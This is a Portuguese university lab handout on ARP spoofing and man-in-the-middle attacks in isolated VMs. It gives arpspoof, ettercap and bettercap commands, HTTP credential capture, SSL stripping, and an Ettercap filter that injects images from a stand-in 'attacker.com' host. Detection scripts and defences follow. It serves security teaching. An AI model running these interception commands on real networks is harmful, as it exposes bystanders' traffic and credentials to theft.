Lab 5.3: ARP Spoofing e Man-in-the-Middle
Objetivos de Aprendizagem
Ao final deste laboratório, você será capaz de:
- Compreender o protocolo ARP e suas vulnerabilidades
- Realizar um ataque de ARP spoofing entre duas máquinas
- Se posicionar como Man-in-the-Middle em uma rede
- Interceptar e analisar o tráfego de rede em tempo real
- Capturar credenciais transmitidas em texto claro
- Detectar um ataque de ARP spoofing ativo
- Implementar proteções contra ARP spoofing
- Compreender a importância da criptografia
Duração Estimada
40 minutos
Pré-requisitos
- 3 VMs: Atacante (Kali), Vítima (Windows), Roteador/Gateway (Windows ou Linux)
- Rede interna VirtualBox
- Wireshark instalado
- Compreensão do modelo OSI e TCP/IP
- Labs 5.1 e 5.2 completos
Contexto Profissional
Os ataques Man-in-the-Middle (MitM) via ARP spoofing permitem que um atacante na mesma rede local:
- Intercepte todas as comunicações
- Roube credenciais (HTTP, FTP, Telnet)
- Modifique o tráfego em trânsito
- Redirecione para sites maliciosos
- Realize phishing direcionado
Utilizado em:
- Testes de penetração interna
- Demonstrações de segurança
- Ataques em redes WiFi públicas
- Espionagem industrial
- Roubo de sessões
AVISO ÉTICO E LEGAL - CRÍTICO
ESTE LABORATÓRIO ENSINA UM ATAQUE ATIVO EM REDE
ARP spoofing é um ataque que intercepta comunicações de terceiros.
PERMITIDO APENAS:
- Em sua rede de laboratório isolada (VMs)
- Em sistemas de teste que você possui
- No contexto de testes autorizados por contrato escrito
- Com consentimento explícito de todas as partes
ESTRITAMENTE PROIBIDO E ILEGAL:
- Em redes WiFi públicas (cafés, aeroportos, bibliotecas)
- Em rede corporativa sem autorização
- Para interceptar comunicações de terceiros
- Para roubo de credenciais ou espionagem
CONSEQUÊNCIAS EXTREMAMENTE GRAVES:
- Interceptação de comunicações = Crime grave (Código Penal art. 184)
- Comparável à escuta eletrônica
- Prisão de até 5 anos
- Multas pesadas
- Ficha criminal permanente
CONFIGURAÇÃO OBRIGATÓRIA:
- Rede das VMs em modo INTERNO apenas
- Sem acesso à Internet
- Ambiente completamente isolado
Parte 1: Compreendendo o ARP e suas Vulnerabilidades
Etapa 1.1: Protocolo ARP (Address Resolution Protocol)
Função: Converter endereço IP em endereço MAC
Exemplo:
PC quer se comunicar com 192.168.100.20
PC só conhece o IP, não o endereço MAC
PC faz broadcast: "Quem tem o IP 192.168.100.20?"
192.168.100.20 responde: "Sou eu! Meu MAC é AA:BB:CC:DD:EE:FF"
PC agora pode enviar pacotes Ethernet
Tabela ARP:
arp -a
Resultado:
Interface: 192.168.100.10
Internet Address Physical Address Type
192.168.100.1 00-11-22-33-44-55 dynamic
192.168.100.20 AA-BB-CC-DD-EE-FF dynamic
Problema: O ARP NÃO possui autenticação!
- Qualquer um pode responder
- Sem verificação de identidade
- Confiança cega
Etapa 1.2: Vulnerabilidade do ARP
Ataque ARP Spoofing (ARP Poisoning):
- O atacante envia respostas ARP falsas
- A vítima acredita que o IP do roteador = MAC do atacante
- O roteador acredita que o IP da vítima = MAC do atacante
- Todo o tráfego passa pelo atacante!
Esquema:
ANTES:
Vítima (192.168.100.20) <---> Roteador (192.168.100.1)
DEPOIS DO ARP Spoofing:
Vítima (192.168.100.20) <---> Atacante (192.168.100.10) <---> Roteador (192.168.100.1)
↑
Man-in-the-Middle!
Perguntas:
- Por que o ARP é vulnerável por design?
- Em qual tipo de rede esse ataque funciona? (Local/Internet)
Parte 2: Configuração do Lab
Etapa 2.1: Arquitetura do Lab
3 VMs necessárias:
VM1 - Atacante (Kali Linux):
IP: 192.168.100.10
MAC: [Anote]
Função: Realizar o ARP spoofing
VM2 - Vítima (Windows):
IP: 192.168.100.20
MAC: [Anote]
Função: Alvo do ataque
VM3 - Gateway/Roteador (Windows ou Linux):
IP: 192.168.100.1
MAC: [Anote]
Função: Gateway de rede (simulado)
Rede: Internal Network "MitmLab"
Em cada VM, verifique:
# Linux
ip addr
ip route
# Windows
ipconfig
route print
Etapa 2.2: Anotar os Endereços MAC
Em cada VM:
Linux:
ip addr show
# Procure por "link/ether"
Windows:
ipconfig /all
# Procure por "Endereço físico"
Anote:
VM1 (Atacante): IP: 192.168.100.10 MAC: 08:00:27:XX:XX:XX
VM2 (Vítima): IP: 192.168.100.20 MAC: 08:00:27:YY:YY:YY
VM3 (Gateway): IP: 192.168.100.1 MAC: 08:00:27:ZZ:ZZ:ZZ
Etapa 2.3: Verificar Conectividade Inicial
Na VM2 (Vítima), verifique a tabela ARP:
arp -a
Você deve ver:
192.168.100.1 00-11-22-33-44-55 (MAC do gateway real)
192.168.100.10 08-00-27-XX-XX-XX (MAC do atacante)
Ping no gateway:
ping 192.168.100.1
Funciona normalmente.
Perguntas: 3. Qual é o endereço MAC atual do gateway na tabela ARP da vítima? 4. Quantas entradas ARP estão presentes?
Parte 3: Ataque ARP Spoofing
Etapa 3.1: Ativação do IP Forwarding
Na VM1 (Atacante), ANTES de iniciar o ataque:
Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward
OU
sysctl -w net.ipv4.ip_forward=1
Verificação:
cat /proc/sys/net/ipv4/ip_forward
Deve mostrar: 1
IMPORTANTE: Sem IP forwarding, o tráfego é bloqueado (DoS ao invés de MitM)!
Etapa 3.2: Iniciando o Ataque com arpspoof
arpspoof (ferramenta clássica):
Terminal 1 - Envenenar a Vítima:
sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1
Comando:
-i eth0- Interface de rede-t 192.168.100.20- Alvo (vítima)192.168.100.1- IP a ser falsificado (gateway)
Resultado:
8:0:27:xx:xx:xx 8:0:27:yy:yy:yy 0806 42: arp reply 192.168.100.1 is-at 8:0:27:xx:xx:xx
Repete continuamente: "O gateway (192.168.100.1) tem o MEU endereço MAC!"
Terminal 2 - Envenenar o Gateway:
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20
Diz ao gateway: "A vítima (192.168.100.20) tem o MEU endereço MAC!"
AGORA: Ataque MitM ativo!
Etapa 3.3: Verificação do Ataque
Na VM2 (Vítima), verifique a tabela ARP:
arp -a
ANTES do ataque:
192.168.100.1 00-11-22-33-44-55 (MAC do gateway real)
DEPOIS do ataque:
192.168.100.1 08-00-27-XX-XX-XX (MAC do ATACANTE!)
A tabela ARP foi envenenada!
A vítima acredita que o gateway = atacante!
Teste:
ping 192.168.100.1
O ping funciona (graças ao IP forwarding), mas passa pelo atacante!
Perguntas: 5. O endereço MAC do gateway mudou na tabela ARP da vítima? 6. O tráfego agora passa pelo atacante?
Parte 4: Interceptação de Tráfego
Etapa 4.1: Captura com Wireshark
Na VM1 (Atacante), inicie o Wireshark:
sudo wireshark &
- Selecione a interface de rede (eth0)
- Inicie a captura
- TODO o tráfego da vítima é capturado!
Na VM2 (Vítima), gere tráfego:
ping google.com
No Wireshark (VM1):
- Filtre:
icmp - Você vê os pings da VÍTIMA!
Você está interceptando o tráfego de outra máquina!
Etapa 4.2: Captura de Credenciais HTTP
Na VM2 (Vítima), acesse um site HTTP (não HTTPS):
Sites de teste legais:
No VM1 (Wireshark), filtre:
http
Você vê:
- Todas as requisições HTTP
- Headers completos
- User-Agent
- Cookies
- Credenciais em texto claro se houver login!
Follow HTTP Stream:
- Clique direito no pacote HTTP
- Follow → HTTP Stream
- Conversação completa visível!
Se site de login HTTP:
POST /login HTTP/1.1
Host: example.com
username=admin&password=SecretPassword123
Senha CAPTURADA em texto claro!
Etapa 4.3: Diferença HTTP vs HTTPS
Na VM2, acesse agora:
https://google.com
No Wireshark:
- Filtre:
tlsoussl - Você vê a conexão criptografada
- Impossível ver o conteúdo!
Dados criptografados:
Content Type: Application Data
Encrypted Application Data: <dados ilegíveis>
Comparação:
- HTTP: TUDO visível (URL, headers, senhas, conteúdo)
- HTTPS: Apenas IP de destino visível, conteúdo criptografado
Perguntas: 7. Você conseguiu capturar tráfego HTTP da vítima? 8. Você consegue ver o conteúdo das requisições HTTPS?
Parte 5: Ferramentas Avançadas de MitM
Etapa 5.1: Ettercap (Completo e Gráfico)
Ettercap: Ferramenta MitM com GUI e funcionalidades avançadas
Iniciar:
sudo ettercap -G
Configuração:
- Sniff → Unified sniffing
- Selecione a interface (eth0)
- Hosts → Scan for hosts
- Hosts → Hosts list
- Selecione Vítima → Add to Target 1
- Selecione Gateway → Add to Target 2
- MitM → ARP poisoning
- Marque "Sniff remote connections"
- Start → Start sniffing
BOOM! Ataque MitM ativo com GUI!
Funcionalidades:
- Detecção automática de hosts
- ARP poisoning com um clique
- Captura automática de senhas
- Filters para modificar o tráfego
- Logs detalhados
Etapa 5.2: Filters Ettercap (Modificação de Tráfego)
O Ettercap pode MODIFICAR o tráfego em trânsito!
Exemplo de filter: Substituir imagens por outras imagens
Crie replace.filter:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://attacker.com/fake.jpg\" alt=\"");
}
Compilação:
etterfilter replace.filter -o replace.ef
Uso no Ettercap:
Filters → Load a filter → replace.ef
Resultado: Todas as imagens em sites HTTP são substituídas!
Etapa 5.3: Bettercap (Moderno)
Ferramenta moderna e poderosa:
sudo bettercap -iface eth0
Comandos interativos:
# Descoberta de rede
net.probe on
net.show
# ARP spoofing
set arp.spoof.targets 192.168.100.20
arp.spoof on
# Captura de credenciais
set net.sniff.verbose true
net.sniff on
# HTTP(S) stripping
set http.proxy.sslstrip true
http.proxy on
Interface web:
sudo bettercap -iface eth0 -caplet http-ui
Acesso: http://127.0.0.1:80 (interface web completa!)
Perguntas: 9. Qual ferramenta você prefere (arpspoof, ettercap, bettercap)? 10. O Bettercap pode fazer downgrade de HTTPS para HTTP?
Parte 6: Detecção de ARP Spoofing
Etapa 6.1: Detecção Manual
Em uma máquina, monitore a tabela ARP:
PowerShell:
while ($true) {
Clear-Host
Write-Host "=== ARP TABLE MONITORING ===" -ForegroundColor Cyan
arp -a
Start-Sleep -Seconds 2
}
Observação:
- Se um IP muda de MAC frequentemente: SUSPEITO!
- Se dois IPs têm o mesmo MAC: ARP SPOOFING!
Exemplo de anomalia:
192.168.100.1 08-00-27-AA-AA-AA
192.168.100.10 08-00-27-AA-AA-AA <- MESMO MAC = ATAQUE!
Etapa 6.2: Detecção com Ferramentas
arpwatch (Linux):
sudo apt install arpwatch
sudo arpwatch -i eth0
Logs em: /var/log/arpwatch.log
Alerta sobre:
- Novos hosts
- Mudanças de MAC
- Flip-flop (MAC muda e depois retorna)
XArp (Windows):
- Ferramenta GUI para monitoramento ARP
- Alertas em tempo real
- Gratuito
Script PowerShell de detecção:
$baseline = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$baseline[$matches[1]] = $matches[2]
}
}
while ($true) {
Start-Sleep -Seconds 5
$current = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$current[$matches[1]] = $matches[2]
}
}
# Comparar
foreach ($ip in $baseline.Keys) {
if ($current[$ip] -and $current[$ip] -ne $baseline[$ip]) {
Write-Host "ALERT: IP $ip MAC changed!" -ForegroundColor Red
Write-Host " Was: $($baseline[$ip])"
Write-Host " Now: $($current[$ip])"
}
}
$baseline = $current.Clone()
}
Etapa 6.3: Detecção em Rede
Com Nmap:
nmap --script=arp-scan 192.168.100.0/24
Detecta:
- Duplicidade de endereços MAC
- Respostas ARP suspeitas
Perguntas: 11. Seu script de detecção alerta durante o ataque? 12. Quanto tempo leva para detectar o ataque?
Parte 7: Defesas contra ARP Spoofing
Etapa 7.1: ARP Estático
Definir entradas ARP estáticas (não modificáveis):
arp -s 192.168.100.1 00-11-22-33-44-55
Verificação:
arp -a
Tipo: static ao invés de dynamic
Vantagem: Imune a ARP spoofing!
Desvantagem: Configuração manual, manutenção difícil
Etapa 7.2: Port Security (Switch)
Em um switch gerenciável:
Configuração de port security para:
- Limitar o número de MACs por porta
- Vincular MAC a uma porta específica
- Desligar a porta em caso de violação
Exemplo de configuração Cisco:
interface FastEthernet0/1
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown
switchport port-security mac-address sticky
Resultado: Apenas um MAC permitido por porta, mudança = shutdown!
Etapa 7.3: Soluções de Software
Windows:
- XArp (monitoramento e alertas)
- ArpON (daemon de proteção)
Linux:
- arpwatch (monitoramento)
- ArpON (proteção ativa)
Firewall:
- Regras para bloquear tráfego anômalo
- Inspeção ARP
Segmentação:
- VLANs para isolar áreas sensíveis
- Limitar o alcance de ataques MitM
Perguntas: 13. Qual método de proteção é mais eficaz? 14. É realista configurar ARP estático em uma grande rede?
Parte 8: Cenários Reais
Etapa 8.1: Ataque em WiFi Público
Cenário típico:
- Café com WiFi público
- Atacante se conecta à mesma rede
- Inicia ARP spoofing
- Intercepta TODO o tráfego dos clientes
- Captura credenciais, cookies, dados
Dados capturados:
- Logins em sites HTTP
- Cookies de sessão
- E-mails (se POP3/IMAP não criptografado)
- Credenciais FTP
- Pesquisas na web
Proteção do usuário:
- VPN em WiFi público (OBRIGATÓRIO!)
- Somente HTTPS
- Não acessar banco/email em WiFi público
Etapa 8.2: Rede Corporativa
Atacante interno ou via phishing:
- Comprometimento inicial de uma estação
- ARP spoofing no segmento de rede
- Interceptação de tráfego
- Captura de credenciais de domínio
- Lateral movement com credenciais roubadas
- Comprometimento total da rede
Tempo: Pode levar apenas algumas horas!
Etapa 8.3: Ataque Combinado
ARP Spoofing + DNS Spoofing:
- MitM ativo via ARP
- Modificar respostas DNS
- Redirecionar para sites falsos (phishing)
- Roubo de credenciais mesmo em HTTPS (com certificado autoassinado + aviso ignorado)
Com Ettercap:
- DNS spoofing integrado
- Modificação de tráfego
- SSL stripping (downgrade HTTPS → HTTP)
Perguntas: 15. Por que redes WiFi públicas são particularmente perigosas? 16. Como uma VPN protege contra ARP spoofing?
Entregáveis
A entregar:
-
Relatório do ataque MitM (Word/PDF, 4-5 páginas):
- Respostas às 16 perguntas
- Descrição completa da arquitetura do laboratório
- Metodologia do ataque passo a passo
- Análise do tráfego capturado
- Tempo necessário para o ataque
-
Capturas de tela (mínimo 8):
- Tabela ARP ANTES do ataque (vítima)
- Tabela ARP DEPOIS do ataque (vítima modificada)
- arpspoof em ação (terminal)
- Wireshark capturando tráfego da vítima
- HTTP stream com credenciais visíveis
- HTTPS stream (criptografado)
- Interface do Ettercap
- Script de detecção alertando
-
Arquivos de captura:
- Wireshark .pcapng com tráfego interceptado
- Logs do ettercap ou bettercap
-
Documentação de defesa (2 páginas):
- Medidas de detecção recomendadas
- Soluções de proteção por camada (rede, host, aplicação)
- Política de segurança WiFi
Critérios de Avaliação
| Critério | Pontos |
|---|---|
| Ataque ARP spoofing bem-sucedido | 30% |
| Interceptação e análise de tráfego | 25% |
| Detecção de ataque ativo | 20% |
| Compreensão das defesas | 15% |
| Qualidade da documentação e capturas | 10% |
Comandos de Referência Rápida
Preparação
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
ARP Spoofing
# arpspoof
sudo arpspoof -i eth0 -t VICTIMA GATEWAY
sudo arpspoof -i eth0 -t GATEWAY VICTIMA
# ettercap
sudo ettercap -T -M arp:remote /VICTIMA// /GATEWAY//
sudo ettercap -G # GUI
# bettercap
sudo bettercap -iface eth0
> set arp.spoof.targets VICTIMA
> arp.spoof on
Detecção
arp -a # Verificar tabela ARP
arpwatch -i eth0 # Monitoramento
nmap --script arp-scan NETWORK
Limpeza
# Parar arpspoof: Ctrl+C
# Na vítima, limpar cache ARP:
arp -d # Windows
sudo ip -s -s neigh flush all # Linux
Solução de Problemas
Problema: Vítima perde conectividade durante o ataque
Solução: IP forwarding não está ativado no atacante. Verifique:
cat /proc/sys/net/ipv4/ip_forward
Deve ser 1.
Problema: Não captura nenhum tráfego
Soluções:
- Verifique se ambos arpspoof estão rodando (vítima E gateway)
- Verifique se o Wireshark está ouvindo na interface correta
- Gere tráfego a partir da vítima
Problema: Tabela ARP não muda
Solução:
- O arpspoof está realmente rodando? Verifique o output
- Firewall pode estar bloqueando ARP
- Alguns switches possuem proteção ARP (Port Security)
Conclusão
Este laboratório ensinou:
- Protocolo ARP e suas vulnerabilidades fundamentais
- Realização de ataque Man-in-the-Middle via ARP spoofing
- Interceptação de tráfego de rede em tempo real
- Captura de credenciais transmitidas em texto claro
- Detecção de ataques ARP ativos
- Medidas de proteção multicamadas
Lições-chave:
- ARP não possui segurança por design (confiança cega)
- Atacante na rede local pode interceptar TODO o tráfego não criptografado
- HTTP é completamente vulnerável a MitM
- HTTPS protege contra interceptação (importância da criptografia)
- WiFi público = Perigo extremo sem VPN
- Detecção é possível, mas proteção é complexa
Consciência:
- Nunca mais usar HTTP para dados sensíveis
- VPN obrigatória em WiFi público
- Criptografia = Única proteção real
- Rede local ≠ Rede segura
Síntese MÓDULO 5:
Agora você domina o reconhecimento de rede completo:
- Lab 5.1: Nmap (mapeamento de rede, detecção de vulnerabilidades)
- Lab 5.2: Enumeração DNS (descoberta de infraestrutura)
- Lab 5.3: ARP spoofing (interceptação ativa)
Combinadas, essas técnicas permitem um reconhecimento e comprometimento de rede completo!
Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 5